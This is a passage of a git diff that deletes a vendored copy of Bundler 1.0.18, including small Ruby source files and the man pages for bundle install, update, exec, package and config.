-    # Return the path to the ruby interpreter taking into account multiple
-    # installations and windows extensions.
-    #
-    def self.ruby_command
-      @ruby_command ||= begin
-        ruby = File.join(RbConfig::CONFIG['bindir'], RbConfig::CONFIG['ruby_install_name'])
-        ruby << RbConfig::CONFIG['EXEEXT']
-
-        # escape string in case path to ruby executable contain spaces.
-        ruby.sub!(/.*\s.*/m, '"\&"')
-        ruby
-      end
-    end
-
-  end
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vendor/thor/version.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vendor/thor/version.rb
deleted file mode 100644
index 7de92f16..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vendor/thor/version.rb
+++ /dev/null
@@ -1,3 +0,0 @@
-class Thor
-  VERSION = "0.14.6".freeze
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vendored_thor.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vendored_thor.rb
deleted file mode 100644
index bd837ba9..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vendored_thor.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-if defined?(Thor)
-  Bundler.ui.warn "Thor has already been required. " +
-    "This may cause Bundler to malfunction in unexpected ways."
-end
-$:.unshift File.expand_path('../vendor', __FILE__)
-require 'thor'
-require 'thor/actions'
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/version.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/version.rb
deleted file mode 100644
index e2303c16..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/version.rb
+++ /dev/null
@@ -1,6 +0,0 @@
-module Bundler
-  # We're doing this because we might write tests that deal
-  # with other versions of bundler and we are unsure how to
-  # handle this better.
-  VERSION = "1.0.18" unless defined?(::Bundler::VERSION)
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vlad.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vlad.rb
deleted file mode 100644
index 47d35b13..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vlad.rb
+++ /dev/null
@@ -1,11 +0,0 @@
-# Vlad task for Bundler.
-#
-# Just add "require 'bundler/vlad'" in your Vlad deploy.rb, and
-# include the vlad:bundle:install task in your vlad:deploy task.
-require 'bundler/deployment'
-
-include Rake::DSL if defined? Rake::DSL
-
-namespace :vlad do
-  Bundler::Deployment.define_task(Rake::RemoteTask, :remote_task, :roles => :app)
-end
\ No newline at end of file
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/man/bundle-config.ronn b/vendor/plugins/bundler/gems/bundler-1.0.18/man/bundle-config.ronn
deleted file mode 100644
index cff3591e..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/man/bundle-config.ronn
+++ /dev/null
@@ -1,90 +0,0 @@
-bundle-config(1) -- Set bundler configuration options
-=====================================================
-
-## SYNOPSIS
-
-`bundle config` [<name> [<value>]]
-
-## DESCRIPTION
-
-This command allows you to interact with bundler's configuration system.
-Bundler retrieves its configuration from the local application (`app/.bundle/config`),
-environment variables, and the user's home directory (`~/.bundle/config`),
-in that order of priority.
-
-Executing `bundle config` with no parameters will print a list of all
-bundler configuration for the current bundle, and where that configuration
-was set.
-
-Executing `bundle config <name>` will print the value of that configuration
-setting, and where it was set.
-
-Executing `bundle config <name> <value>` will set that configuration to the
-value specified for all bundles executed as the current user. The configuration
-will be stored in `~/.bundle/config`.
-
-## BUILD OPTIONS
-
-You can use `bundle config` to give bundler the flags to pass to the gem
-installer every time bundler tries to install a particular gem.
-
-A very common example, the `mysql` gem, requires Snow Leopard users to
-pass configuration flags to `gem install` to specify where to find the
-`mysql_config` executable.
-
-    gem install mysql -- --with-mysql-config=/usr/local/mysql/bin/mysql_config
-
-Since the specific location of that executable can change from machine
-to machine, you can specify these flags on a per-machine basis.
-
-    bundle config build.mysql --with-mysql-config=/usr/local/mysql/bin/mysql_config
-
-After running this command, every time bundler needs to install the
-`mysql` gem, it will pass along the flags you specified.
-
-## CONFIGURATION KEYS
-
-Configuration keys in bundler have two forms: the canonical form and the
-environment variable form.
-
-For instance, passing the `--without` flag to [bundle install(1)][bundle-install]
-prevents Bundler from installing certain groups specified in the Gemfile(5). Bundler
-persists this value in `app/.bundle/config` so that calls to `Bundler.setup`
-do not try to find gems from the `Gemfile` that you didn't install. Additionally,
-subsequent calls to [bundle install(1)][bundle-install] remember this setting and skip those
-groups.
-
-The canonical form of this configuration is `"without"`. To convert the canonical
-form to the environment variable form, capitalize it, and prepend `BUNDLE_`. The
-environment variable form of `"without"` is `BUNDLE_WITHOUT`.
-
-## LIST OF AVAILABLE KEYS
-
-The following is a list of all configuration keys and their purpose. You can
-learn more about their operation in [bundle install(1)][bundle-install].
-
-* `path` (`BUNDLE_PATH`):
-  The location on disk to install gems. Defaults to `$GEM_HOME` in development
-  and `vendor/bundler` when `--deployment` is used
-* `frozen` (`BUNDLE_FROZEN`):
-  Disallow changes to the `Gemfile`. Defaults to `true` when `--deployment`
-  is used.
-* `without` (`BUNDLE_WITHOUT`):
-  A `:`-separated list of groups whose gems bundler should not install
-* `bin` (`BUNDLE_BIN`):
-  Install executables from gems in the bundle to the specified directory.
-  Defaults to `false`.
-* `gemfile` (`BUNDLE_GEMFILE`):
-  The name of the file that bundler should use as the `Gemfile`. This location
-  of this file also sets the root of the project, which is used to resolve
-  relative paths in the `Gemfile`, among other things. By default, bundler
-  will search up from the current working directory until it finds a
-  `Gemfile`.
-
-In general, you should set these settings per-application by using the applicable
-flag to the [bundle install(1)][bundle-install] command.
-
-You can set them globally either via environment variables or `bundle config`,
-whichever is preferable for your setup. If you use both, environment variables
-will take preference over global settings.
-
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/man/bundle-exec.ronn b/vendor/plugins/bundler/gems/bundler-1.0.18/man/bundle-exec.ronn
deleted file mode 100644
index f5b61c8e..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/man/bundle-exec.ronn
+++ /dev/null
@@ -1,111 +0,0 @@
-bundle-exec(1) -- Execute a command in the context of the bundle
-================================================================
-
-## SYNOPSIS
-
-`bundle exec` <command>
-
-## DESCRIPTION
-
-This command executes the command, making all gems specified in the
-`Gemfile(5)` available to `require` in Ruby programs.
-
-Essentially, if you would normally have run something like
-`rspec spec/my_spec.rb`, and you want to use the gems specified
-in the `Gemfile(5)` and installed via [bundle install(1)][bundle-install], you
-should run `bundle exec rspec spec/my_spec.rb`.
-
-Note that `bundle exec` does not require that an executable is
-available on your shell's `$PATH`.
-
-## BUNDLE INSTALL --BINSTUBS
-
-If you use the `--binstubs` flag in [bundle install(1)][bundle-install], Bundler will
-automatically create a directory (which defaults to `app_root/bin`)
-containing all of the executables available from gems in the bundle.
-
-After using `--binstubs`, `bin/rspec spec/my_spec.rb` is identical
-to `bundle exec rspec spec/my_spec.rb`.
-
-## ENVIRONMENT MODIFICATIONS
-
-`bundle exec` makes a number of changes to the shell environment,
-then executes the command you specify in full.
-
-* make sure that it's still possible to shell out to `bundle`
-  from inside a command invoked by `bundle exec` (using
-  `$BUNDLE_BIN_PATH`)
-* put the directory containing executables (like `rails`, `rspec`,
-  `rackup`) for your bundle on `$PATH`
-* make sure that if bundler is invoked in the subshell, it uses
-  the same `Gemfile` (by setting `BUNDLE_GEMFILE`)
-* add `-rbundler/setup` to `$RUBYOPT`, which makes sure that
-  Ruby programs invoked in the subshell can see the gems in
-  the bundle
-
-It also modifies Rubygems:
-
-* disallow loading additional gems not in the bundle
-* modify the `gem` method to be a no-op if a gem matching
-  the requirements is in the bundle, and to raise a
-  `Gem::LoadError` if it's not
-* Define `Gem.refresh` to be a no-op, since the source
-  index is always frozen when using bundler, and to
-  prevent gems from the system leaking into the environment
-* Override `Gem.bin_path` to use the gems in the bundle,
-  making system executables work
-* Add all gems in the bundle into Gem.loaded_specs
-
-### Shelling out
-
-When shelling out (using the `system` or backticks methods,
-for example), Bundler's environment changes will propogate to
-the subshell environment. If you desire to shell out without
-Bundler's environment changes, simply employ the `with_clean_env`
-method. It will restore all environment variables to what they
-were before Bundler was activated. For example:
-
-    Bundler.with_clean_env do
-      `brew install wget`
-    end
-
-## RUBYGEMS PLUGINS
-
-At present, the Rubygems plugin system requires all files
-named `rubygems_plugin.rb` on the load path of _any_ installed
-gem when any Ruby code requires `rubygems.rb`. This includes
-executables installed into the system, like `rails`, `rackup`,
-and `rspec`.
-
-Since Rubygems plugins can contain arbitrary Ruby code, they
-commonly end up activating themselves or their dependencies.
-
-For instance, the `gemcutter 0.5` gem depended on `json_pure`.
-If you had that version of gemcutter installed (even if
-you _also_ had a newer version without this problem), Rubygems
-would activate `gemcutter 0.5` and `json_pure <latest>`.
-
-If your Gemfile(5) also contained `json_pure` (or a gem
-with a dependency on `json_pure`), the latest version on
-your system might conflict with the version in your
-Gemfile(5), or the snapshot version in your `Gemfile.lock`.
-
-If this happens, bundler will say:
-
-    You have already activated json_pure 1.4.6 but your Gemfile
-    requires json_pure 1.4.3. Consider using bundle exec.
-
-In this situation, you almost certainly want to remove the
-underlying gem with the problematic gem plugin. In general,
-the authors of these plugins (in this case, the `gemcutter`
-gem) have released newer versions that are more careful in
-their plugins.
-
-You can find a list of all the gems containing gem plugins
-by running
-
-    ruby -rubygems -e "puts Gem.find_files('rubygems_plugin.rb')"
-
-At the very least, you should remove all but the newest
-version of each gem plugin, and also remove all gem plugins
-that you aren't using (`gem uninstall gem_name`).
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/man/bundle-install.ronn b/vendor/plugins/bundler/gems/bundler-1.0.18/man/bundle-install.ronn
deleted file mode 100644
index 3b2d5231..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/man/bundle-install.ronn
+++ /dev/null
@@ -1,317 +0,0 @@
-bundle-install(1) -- Install the dependencies specified in your Gemfile
-=======================================================================
-
-## SYNOPSIS
-
-`bundle install` [--gemfile=GEMFILE]
-                 [--path PATH] [--system]
-                 [--without=GROUP1[ GROUP2...]]
-                 [--local] [--deployment]
-                 [--binstubs[=DIRECTORY]]
-                 [--quiet]
-
-## DESCRIPTION
-
-Install the gems specified in your Gemfile(5). If this is the first
-time you run bundle install (and a `Gemfile.lock` does not exist),
-bundler will fetch all remote sources, resolve dependencies and
-install all needed gems.
-
-If a `Gemfile.lock` does exist, and you have not updated your Gemfile(5),
-bundler will fetch all remote sources, but use the dependencies
-specified in the `Gemfile.lock` instead of resolving dependencies.
-
-If a `Gemfile.lock` does exist, and you have updated your Gemfile(5),
-bundler will use the dependencies in the `Gemfile.lock` for all gems
-that you did not update, but will re-resolve the dependencies of
-gems that you did update. You can find more information about this
-update process below under [CONSERVATIVE UPDATING][].
-
-## OPTIONS
-
-* `--gemfile=<gemfile>`:
-  The location of the Gemfile(5) that bundler should use. This defaults
-  to a gemfile in the current working directory. In general, bundler
-  will assume that the location of the Gemfile(5) is also the project
-  root, and will look for the `Gemfile.lock` and `vendor/cache` relative
-  to it.
-
-* `--path=<path>`:
-  The location to install the gems in the bundle to. This defaults
-  to the gem home, which is the location that `gem install` installs
-  gems to. This means that, by default, gems installed without a
-  `--path` setting will show up in `gem list`. This setting is a
-  [remembered option][REMEMBERED OPTIONS].
-
-* `--system`:
-  Installs the gems in the bundle to the system location. This
-  overrides any previous [remembered][REMEMBERED OPTIONS] use of
-  `--path`.
-
-* `--without=<list>`:
-  A space-separated list of groups to skip installing. This is a
-  [remembered option][REMEMBERED OPTIONS].
-
-* `--local`:
-  Do not attempt to connect to `rubygems.org`, instead using just
-  the gems located in `vendor/cache`. Note that if a more
-  appropriate platform-specific gem exists on `rubygems.org`,
-  this will bypass the normal lookup.
-
-* `--deployment`:
-  Switches bundler's defaults into [deployment mode][DEPLOYMENT MODE].
-  Do not use this flag on development machines.
-
-* `--binstubs[=<directory>]`:
-  Create a directory (defaults to `bin`) containing an executable
-  that runs in the context of the bundle. For instance, if the
-  `rails` gem comes with a `rails` executable, this flag will create
-  a `bin/rails` executable that ensures that all dependencies used
-  come from the bundled gems.
-
-## DEPLOYMENT MODE
-
-Bundler's defaults are optimized for development. To switch to
-defaults optimized for deployment, use the `--deployment` flag.
-Do not activate deployment mode on development machines, as it
-will cause in an error when the Gemfile is modified.
-
-1. A `Gemfile.lock` is required.
-
-   To ensure that the same versions of the gems you developed with
-   and tested with are also used in deployments, a `Gemfile.lock`
-   is required.
-
-   This is mainly to ensure that you remember to check your
-   `Gemfile.lock` into version control.
-
-2. The `Gemfile.lock` must be up to date
-
-   In development, you can modify your Gemfile(5) and re-run
-   `bundle install` to [conservatively update][CONSERVATIVE UPDATING]
-   your `Gemfile.lock` snapshot.
-
-   In deployment, your `Gemfile.lock` should be up-to-date with
-   changes made in your Gemfile(5).
-
-3. Gems are installed to `vendor/bundle` not your default system location
-
-   In development, it's convenient to share the gems used in your
-   application with other applications and other scripts run on
-   the system.
-
-   In deployment, isolation is a more important default. In addition,
-   the user deploying the application may not have permission to install
-   gems to the system, or the web server may not have permission to
-   read them.
-
-   As a result, `bundle install --deployment` installs gems to
-   the `vendor/bundle` directory in the application. This may be
-   overridden using the `--path` option.
-
-## SUDO USAGE
-
-By default, bundler installs gems to the same location as `gem install`.
-
-In some cases, that location may not be writable by your Unix user. In
-that case, bundler will stage everything in a temporary directory,
-then ask you for your `sudo` password in order to copy the gems into
-their system location.
-
-From your perspective, this is identical to installing them gems
-directly into the system.
-
-You should never use `sudo bundle install`. This is because several
-other steps in `bundle install` must be performed as the current user:
-
-* Updating your `Gemfile.lock`
-* Updating your `vendor/cache`, if necessary
-* Checking out private git repositories using your user's SSH keys
-
-Of these three, the first two could theoretically be performed by
-`chown`ing the resulting files to `$SUDO_USER`. The third, however,
-can only be performed by actually invoking the `git` command as
-the current user. Therefore, git gems are downloaded and installed
-into `~/.bundle` rather than $GEM_HOME or $BUNDLE_PATH.
-
-As a result, you should run `bundle install` as the current user,
-and bundler will ask for your password if it is needed to put the
-gems into their final location.
-
-## INSTALLING GROUPS
-
-By default, `bundle install` will install all gems in all groups
-in your Gemfile(5), except those declared for a different platform.
-
-However, you can explicitly tell bundler to skip installing
-certain groups with the `--without` option. This option takes
-a space-separated list of groups.
-
-While the `--without` option will skip _installing_ the gems in the
-specified groups, it will still _download_ those gems and use them to
-resolve the dependencies of every gem in your Gemfile(5).
-
-This is so that installing a different set of groups on another
- machine (such as a production server) will not change the
-gems and versions that you have already developed and tested against.
-
-`Bundler offers a rock-solid guarantee that the third-party
-code you are running in development and testing is also the
-third-party code you are running in production. You can choose
-to exclude some of that code in different environments, but you
-will never be caught flat-footed by different versions of
-third-party code being used in different environments.`
-
-For a simple illustration, consider the following Gemfile(5):
-
-    source "http://rubygems.org"
-
-    gem "sinatra"
-
-    group :production do
-      gem "rack-perftools-profiler"
-    end
-
-In this case, `sinatra` depends on any version of Rack (`>= 1.0`, while
-`rack-perftools-profiler` depends on 1.x (`~> 1.0`).
-
-When you run `bundle install --without production` in development, we
-look at the dependencies of `rack-perftools-profiler` as well. That way,
-you do not spend all your time developing against Rack 2.0, using new
-APIs unavailable in Rack 1.x, only to have bundler switch to Rack 1.2
-when the `production` group _is_ used.
-
-This should not cause any problems in practice, because we do not
-attempt to `install` the gems in the excluded groups, and only evaluate
-as part of the dependency resolution process.
-
-This also means that you cannot include different versions of the same
-gem in different groups, because doing so would result in different
-sets of dependencies used in development and production. Because of
-the vagaries of the dependency resolution process, this usually
-affects more than just the gems you list in your Gemfile(5), and can
-(surprisingly) radically change the gems you are using.
-
-## REMEMBERED OPTIONS
-
-Some options (marked above in the [OPTIONS][] section) are remembered
-between calls to `bundle install`, and by the Bundler runtime.
-
-For instance, if you run `bundle install --without test`, a subsequent
-call to `bundle install` that does not include a `--without` flag will
-remember your previous choice.
-
-In addition, a call to `Bundler.setup` will not attempt to make the
-gems in those groups available on the Ruby load path, as they were
-not installed.
-
-The settings that are remembered are:
-
-* `--deployment`:
-  At runtime, this remembered setting will also result in Bundler
-  raising an exception if the `Gemfile.lock` is out of date.
-
-* `--path`:
-  Subsequent calls to `bundle install` will install gems to the
-  directory originally passed to `--path`. The Bundler runtime
-  will look for gems in that location. You can revert this
-  option by running `bundle install --system`.
-
-* `--binstubs`:
-  Bundler will update the executables every subsequent call to
-  `bundle install`.
-
-* `--without`:
-  As described above, Bundler will skip the gems specified by
-  `--without` in subsequent calls to `bundle install`. The
-  Bundler runtime will also not try to make the gems in the
-  skipped groups available.
-
-## THE GEMFILE.LOCK
-
-When you run `bundle install`, Bundler will persist the full names
-and versions of all gems that you used (including dependencies of
-the gems specified in the Gemfile(5)) into a file called `Gemfile.lock`.
-
-Bundler uses this file in all subsequent calls to `bundle install`,
-which guarantees that you always use the same exact code, even
-as your application moves across machines.
-
-Because of the way dependency resolution works, even a
-seemingly small change (for instance, an update to a point-release
-of a dependency of a gem in your Gemfile(5)) can result in radically
-different gems being needed to satisfy all dependencies.
-
-As a result, you `SHOULD` check your `Gemfile.lock` into version
-control. If you do not, every machine that checks out your
-repository (including your production server) will resolve all
-dependencies again, which will result in different versions of
-third-party code being used if `any` of the gems in the Gemfile(5)
-or any of their dependencies have been updated.
-
-## CONSERVATIVE UPDATING
-
-When you make a change to the Gemfile(5) and then run `bundle install`,
-Bundler will update only the gems that you modified.
-
-In other words, if a gem that you `did not modify` worked before
-you called `bundle install`, it will continue to use the exact
-same versions of all dependencies as it used before the update.
-
-Let's take a look at an example. Here's your original Gemfile(5):
-
-    source "http://rubygems.org"
-
-    gem "actionpack", "2.3.8"
-    gem "activemerchant"
-
-In this case, both `actionpack` and `activemerchant` depend on
-`activesupport`. The `actionpack` gem depends on `activesupport 2.3.8`
-and `rack ~> 1.1.0`, while the `activemerchant` gem depends on
-`activesupport >= 2.3.2`, `braintree >= 2.0.0`, and `builder >= 2.0.0`.
-
-When the dependencies are first resolved, Bundler will select
-`activesupport 2.3.8`, which satisfies the requirements of both
-gems in your Gemfile(5).
-
-Next, you modify your Gemfile(5) to:
-
-    source "http://rubygems.org"
-
-    gem "actionpack", "3.0.0.rc"
-    gem "activemerchant"
-
-The `actionpack 3.0.0.rc` gem has a number of new dependencies,
-and updates the `activesupport` dependency to `= 3.0.0.rc` and
-the `rack` dependency to `~> 1.2.1`.
-
-When you run `bundle install`, Bundler notices that you changed
-the `actionpack` gem, but not the `activemerchant` gem. It
-evaluates the gems currently being used to satisfy its requirements:
-
-  * `activesupport 2.3.8`:
-    also used to satisfy a dependency in `activemerchant`,
-    which is not being updated
-  * `rack ~> 1.1.0`:
-    not currently being used to satify another dependency
-
-Because you did not explicitly ask to update `activemerchant`,
-you would not expect it to suddenly stop working after updating
-`actionpack`. However, satisfying the new `activesupport 3.0.0.rc`
-dependency of actionpack requires updating one of its dependencies.
-
-Even though `activemerchant` declares a very loose dependency
-that theoretically matches `activesupport 3.0.0.rc`, bundler treats
-gems in your Gemfile(5) that have not changed as an atomic unit
-together with their dependencies. In this case, the `activemerchant`
-dependency is treated as `activemerchant 1.7.1 + activesupport 2.3.8`,
-so `bundle install` will report that it cannot update `actionpack`.
-
-To explicitly update `actionpack`, including its dependencies
-which other gems in the Gemfile(5) still depend on, run
-`bundle update actionpack` (see `bundle update(1)`).
-
-`Summary`: In general, after making a change to the Gemfile(5) , you
-should first try to run `bundle install`, which will guarantee that no
-other gems in the Gemfile(5) are impacted by the change. If that
-does not work, run [bundle update(1)][bundle-update].
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/man/bundle-package.ronn b/vendor/plugins/bundler/gems/bundler-1.0.18/man/bundle-package.ronn
deleted file mode 100644
index d8a709bf..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/man/bundle-package.ronn
+++ /dev/null
@@ -1,59 +0,0 @@
-bundle-package(1) -- Package your needed `.gem` files into your application
-===========================================================================
-
-## SYNOPSIS
-
-`bundle package`
-
-## DESCRIPTION
-
-Copy all of the `.gem` files needed to run the application into the
-`vendor/cache` directory. In the future, when running [bundle install(1)][bundle-install],
-use the gems in the cache in preference to the ones on `rubygems.org`.
-
-## GIT AND PATH GEMS
-
-In Bundler 1.0, the `bundle package` command only packages `.gem` files,
-not gems specified using the `:git` or `:path` options. This will likely
-change in the future.
-
-## REMOTE FETCHING
-
-By default, if you simply run [bundle install(1)][bundle-install] after running
-[bundle package(1)][bundle-package], bundler will still connect to `rubygems.org`
-to check whether a platform-specific gem exists for any of the gems
-in `vendor/cache`.
-
-For instance, consider this Gemfile(5):
-
-    source "http://rubygems.org"
-
-    gem "nokogiri"
-
-If you run `bundle package` under C Ruby, bundler will retrieve
-the version of `nokogiri` for the `"ruby"` platform. If you deploy
-to JRuby and run `bundle install`, bundler is forced to check to
-see whether a `"java"` platformed `nokogiri` exists.
-
-Even though the `nokogiri` gem for the Ruby platform is
-_technically_ acceptable on JRuby, it actually has a C extension
-that does not run on JRuby. As a result, bundler will, by default,
-still connect to `rubygems.org` to check whether it has a version
-of one of your gems more specific to your platform.
-
-This problem is also not just limited to the `"java"` platform.
-A similar (common) problem can happen when developing on Windows
-and deploying to Linux, or even when developing on OSX and
-deploying to Linux.
-
-If you know for sure that the gems packaged in `vendor/cache`
-are appropriate for the platform you are on, you can run
-`bundle install --local` to skip checking for more appropriate
-gems, and just use the ones in `vendor/cache`.
-
-One way to be sure that you have the right platformed versions
-of all your gems is to run `bundle package` on an identical
-machine and check in the gems. For instance, you can run
-`bundle package` on an identical staging box during your
-staging process, and check in the `vendor/cache` before
-deploying to production.
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/man/bundle-update.ronn b/vendor/plugins/bundler/gems/bundler-1.0.18/man/bundle-update.ronn
deleted file mode 100644
index cdf9f069..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/man/bundle-update.ronn
+++ /dev/null
@@ -1,176 +0,0 @@
-bundle-update(1) -- Update your gems to the latest available versions
-=====================================================================
-
-## SYNOPSIS
-
-`bundle update` <*gems> [--source=NAME]
-
-## DESCRIPTION
-
-Update the gems specified (all gems, if none are specified), ignoring
-the previously installed gems specified in the `Gemfile.lock`. In
-general, you should use [bundle install(1)][bundle-install] to install the same exact
-gems and versions across machines.
-
-You would use `bundle update` to explicitly update the version of a
-gem.
-
-## OPTIONS
-
-* `--source=<name>`:
-  The name of a `:git` or `:path` source used in the Gemfile(5). For
-  instance, with a `:git` source of `http://github.com/rails/rails.git`,
-  you would call `bundle update --source rails`
-
-## UPDATING ALL GEMS
-
-If you run `bundle update` with no parameters, bundler will ignore
-any previously installed gems and resolve all dependencies again
-based on the latest versions of all gems available in the sources.
-
-Consider the following Gemfile(5):
-
-    source "http://rubygems.org"
-
-    gem "rails", "3.0.0.rc"
-    gem "nokogiri"
-
-When you run [bundle install(1)][bundle-install] the first time, bundler will resolve
-all of the dependencies, all the way down, and install what you need:
-
-    Fetching source index for http://rubygems.org/
-    Installing rake (0.8.7)
-    Installing abstract (1.0.0)
-    Installing activesupport (3.0.0.rc)
-    Installing builder (2.1.2)
-    Installing i18n (0.4.1)
-    Installing activemodel (3.0.0.rc)
-    Installing erubis (2.6.6)
-    Installing rack (1.2.1)
-    Installing rack-mount (0.6.9)
-    Installing rack-test (0.5.4)
-    Installing tzinfo (0.3.22)
-    Installing actionpack (3.0.0.rc)
-    Installing mime-types (1.16)
-    Installing polyglot (0.3.1)
-    Installing treetop (1.4.8)
-    Installing mail (2.2.5)
-    Installing actionmailer (3.0.0.rc)
-    Installing arel (0.4.0)
-    Installing activerecord (3.0.0.rc)
-    Installing activeresource (3.0.0.rc)
-    Installing bundler (1.0.0.rc.3)
-    Installing nokogiri (1.4.3.1) with native extensions
-    Installing thor (0.14.0)
-    Installing railties (3.0.0.rc)
-    Installing rails (3.0.0.rc)
-
-    Your bundle is complete! Use `bundle show [gemname]` to see where a bundled gem is installed.
-
-As you can see, even though you have just two gems in the Gemfile(5), your application
-actually needs 25 different gems in order to run. Bundler remembers the exact versions
-it installed in `Gemfile.lock`. The next time you run [bundle install(1)][bundle-install], bundler skips
-the dependency resolution and installs the same gems as it installed last time.
-
-After checking in the `Gemfile.lock` into version control and cloning it on another
-machine, running [bundle install(1)][bundle-install] will _still_ install the gems that you installed
-last time. You don't need to worry that a new release of `erubis` or `mail` changes
-the gems you use.
-
-However, from time to time, you might want to update the gems you are using to the
-newest versions that still match the gems in your Gemfile(5).
-
-To do this, run `bundle update`, which will ignore the `Gemfile.lock`, and resolve
-all the dependencies again. Keep in mind that this process can result in a significantly
-different set of the 25 gems, based on the requirements of new gems that the gem
-authors released since the last time you ran `bundle update`.
-
-## UPDATING A LIST OF GEMS
-
-Sometimes, you want to update a single gem in the Gemfile(5), and leave the rest of the
-gems that you specified locked to the versions in the `Gemfile.lock`.
-
-For instance, in the scenario above, imagine that `nokogiri` releases version `1.4.4`, and
-you want to update it _without_ updating Rails and all of its dependencies. To do this,
-run `bundle update nokogiri`.
-
-Bundler will update `nokogiri` and any of its dependencies, but leave alone Rails and
-its dependencies.
-
-## OVERLAPPING DEPENDENCIES
-
-Sometimes, multiple gems declared in your Gemfile(5) are satisfied by the same
-second-level dependency. For instance, consider the case of `thin` and
-`rack-perftools-profiler`.
-
-    source "http://rubygems.org"
-
-    gem "thin"
-    gem "rack-perftools-profiler"
-
-The `thin` gem depends on `rack >= 1.0`, while `rack-perftools-profiler` depends
-on `rack ~> 1.0`. If you run bundle install, you get:
-
-    Fetching source index for http://rubygems.org/
-    Installing daemons (1.1.0)
-    Installing eventmachine (0.12.10) with native extensions
-    Installing open4 (1.0.1)
-    Installing perftools.rb (0.4.7) with native extensions
-    Installing rack (1.2.1)
-    Installing rack-perftools_profiler (0.0.2)
-    Installing thin (1.2.7) with native extensions
-    Using bundler (1.0.0.rc.3)
-
-In this case, the two gems have their own set of dependencies, but they share
-`rack` in common. If you run `bundle update thin`, bundler will update `daemons`,
-`eventmachine` and `rack`, which are dependencies of `thin`, but not `open4` or
-`perftools.rb`, which are dependencies of `rack-perftools_profiler`. Note that
-`bundle update thin` will update `rack` even though it's _also_ a dependency of
-`rack-perftools_profiler`.
-
-`In short`, when you update a gem using `bundle update`, bundler will update all
-dependencies of that gem, including those that are also dependencies of another gem.
-
-In this scenario, updating the `thin` version manually in the Gemfile(5),
-and then running [bundle install(1)][bundle-install] will only update `daemons` and `eventmachine`,
-but not `rack`. For more information, see the `CONSERVATIVE UPDATING` section
-of [bundle install(1)][bundle-install].
-
-## RECOMMENDED WORKFLOW
-
-In general, when working with an application managed with bundler, you should
-use the following workflow:
-
-* After you create your Gemfile(5) for the first time, run
-
-    $ bundle install
-
-* Check the resulting `Gemfile.lock` into version control
-
-    $ git add Gemfile.lock
-
-* When checking out this repository on another development machine, run
-
-    $ bundle install
-
-* When checking out this repository on a deployment machine, run
-
-    $ bundle install --deployment
-
-* After changing the Gemfile(5) to reflect a new or update dependency, run
-
-    $ bundle install
-
-* Make sure to check the updated `Gemfile.lock` into version control
-
-    $ git add Gemfile.lock
-
-* If [bundle install(1)][bundle-install] reports a conflict, manually update the specific
-  gems that you changed in the Gemfile(5)
-
-    $ bundle update rails thin
-
-* If you want to update all the gems to the latest possible versions that
-  still match the gems listed in the Gemfile(5), run
-
-    $ bundle update
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/man/bundle.ronn b/vendor/plugins/bundler/gems/bundler-1.0.18/man/bundle.ronn
deleted file mode 100644
index 5347c559..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/man/bundle.ronn
+++ /dev/null
@@ -1,80 +0,0 @@
-bundle(1) -- Ruby Dependency Management
-=======================================
-
-## SYNOPSIS
-
-`bundle` COMMAND [--no-color] [--verbose] [ARGS]
-
-## DESCRIPTION
-
-Bundler manages an `application's dependencies` through its entire life
-across many machines systematically and repeatably.
-
-See [the bundler website](http://gembundler.com) for information on getting
-started, and Gemfile(5) for more information on the `Gemfile` format.
-
-## OPTIONS
-
-* `--no-color`:
-  Prints all output without color
-
-* `--verbose`:
-  Prints out additional logging information
-
-## BUNDLE COMMANDS
-
-We divide `bundle` subcommands into primary commands and utilities.
-
-## PRIMARY COMMANDS
-
-* [bundle install(1)][bundle-install]:
-  Install the gems specified by the `Gemfile` or `Gemfile.lock`
-
-* [bundle update(1)][bundle-update]:
-  Update dependencies to their latest versions
-
-* [bundle package(1)][bundle-package]:
-  Package the .gem files required by your application into the
-  `vendor/cache` directory
-
-* [bundle exec(1)][bundle-exec]:
-  Execute a script in the context of the current bundle
-
-* [bundle config(1)][bundle-config]:
-  Specify and read configuration options for bundler
-
-## UTILITIES
-
-* `bundle check(1)`:
-  Determine whether the requirements for your application are installed
-  and available to bundler
-
-* `bundle list(1)`:
-  Show all of the gems in the current bundle
-
-* `bundle show(1)`:
-  Show the source location of a particular gem in the bundle
-
-* `bundle console(1)`:
-  Start an IRB session in the context of the current bundle
-
-* `bundle open(1)`:
-  Open an installed gem in the editor
-
-* `bundle viz(1)`:
-  Generate a visual representation of your dependencies
-
-* `bundle init(1)`:
-  Generate a simple `Gemfile`, placed in the current directory
-
-* `bundle gem(1)`:
-  Create a simple gem, suitable for development with bundler
-
-## OBSOLETE
-
-These commands are obsolete and should no longer be used
-
-* `bundle lock(1)`
-* `bundle unlock(1)`
-* `bundle cache(1)`
-
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/man/gemfile.5.ronn b/vendor/plugins/bundler/gems/bundler-1.0.18/man/gemfile.5.ronn
deleted file mode 100644
index d97dadc2..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/man/gemfile.5.ronn
+++ /dev/null
@@ -1,284 +0,0 @@
